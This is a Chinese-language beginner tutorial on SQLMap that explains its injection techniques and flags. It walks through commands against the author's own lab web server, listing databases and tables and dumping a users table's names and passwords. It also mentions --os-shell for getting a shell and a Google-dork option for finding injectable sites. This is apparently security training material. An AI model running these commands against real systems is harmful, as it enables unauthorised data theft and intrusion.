超详细SQLMap图文详解教程：从简介到简单应用实例

1 SQLMap简介

SQLMap，简单来说，就是一款自动化SQL注入工具，专门用来扫描、发现并利用给定URL的SQL注入漏洞。它内置了数量可观的绕过插件，而且支持的数据库范围相当广泛——MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB，基本覆盖了市面上主流的数据库类型。

需要先拎清楚一点：sqlmap只负责检测和利用SQL注入点，它本身不会帮你扫描网站存在哪些漏洞。所以正确流程是先用扫描工具找出潜在注入点，再交给sqlmap来干活。

SQLMap支持5种不同的SQL注入技术，各有各的适用场景：

• 布尔盲注：根据返回页面判断条件真假的注入。简单说，就是看页面是正常显示还是异常显示，来推断条件是否成立。
• 时间盲注：页面死活不给你任何显式信息，只能通过时间延迟语句是否被执行（页面返回时间是否明显增加）来推断结果。
• 报错注入：页面会直接返回错误信息，甚至把注入语句的结果直接显示在页面上。
• 联合查询注入：在可以使用Union的情况下进行的注入。
• 堆查询注入：可以同时执行多条语句时的注入。

SQLMap的能力远不止于注入检测——它还能做数据库指纹识别、数据库枚举、数据提取，甚至访问目标文件系统，如果权限足够，还能执行任意命令。很多情况下，当常规注入工具无能为力时，SQLMap往往能带来惊喜。

2 SQLMap安装

安装方式有很多，网上随便搜一下就有教程。不过本教程直接使用Kali Linux自带的SQLMap工具，省去了配置Python等基础环境的麻烦，上手非常快。至于如何在虚拟机中安装Kali Linux系统，可以参考《【Linux系统】第2节 虚拟机中安装Kali系统》。

3 sqlmap的简单使用

3.1 常用命令及参数

先看看sqlmap的命令帮助手册：

-u  "url"              # 检测注入点
--dbs                   # 列出所有数据库的名称
--current-db            # 列出当前数据库的名称
-D                      # 指定一个数据库
--tables                # 列出所有表名
-T                      # 指定表名
--columns               # 列出所有字段名
-C                      # 指定字段
--dump                  # 列出字段内容

Post注入相关：

-r xxx.txt              # xxx.txt为http数据包
--cookie                # 指定cookie
--os-shell              # 获取shell
sqlmap -g "inurl:php?id="  # 利用google自动搜索注入点

3.2 具体操作实例

3.2.1 操作前准备

实验靶场——虚拟机（IP为172.16.1.1）：

本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站。win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》，网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》。

注入工具——kali虚拟机，自带sqlmap工具。

注意：win2008和kali需要桥接到同一VMnet下，两者能互相ping通。

3.2.2 具体实例

3.2.2.1 实例1：查看帮助手册

sqlmap -h

3.2.2.2 实例2：检测注入点及注入类型

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"

当SQLMap执行该命令时，它会依次完成以下步骤：

1. 判断可注入的参数；
2. 判断可以用哪种SQL注入技术来注入；
3. 识别出哪种数据库；
4. 根据用户选择，读取哪些数据。

3.2.2.3 实例3：列出所有数据库的名字

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs

3.2.2.4 实例4：列出当前数据库的名字

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db

3.2.2.5 实例5：列出某数据库的所有表名

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables

3.2.2.6 实例6：列出某表中的所有字段名

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns

3.2.2.7 实例7：列出某字段中的所有字段内容

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump

3.2.2.8 实例8：post注入

首先用BurpSuite抓取一个POST请求的HTTP数据包，将其保存为post.txt文件（放在当前目录下）。然后运行命令：sqlmap -r post.txt，它会自动读取数据包进行POST注入测试。

本专栏主要以入门知识为主，带领零基础的朋友了解一些工具的简单操作，重点分享SQLMap的基本使用方法——判断目标网站是否存在注入，查询获取数据库的库名、表名、字段名及字段内容等信息。其他更详细的用法，比如-level、-referer、roles等参数，可以参考SQLMap的帮助手册自行探索。

4 参考文章及优秀资源推荐

• 《sqlmap 详解》
• 《sqlmap 官网》
• 《sqlmap文档地址》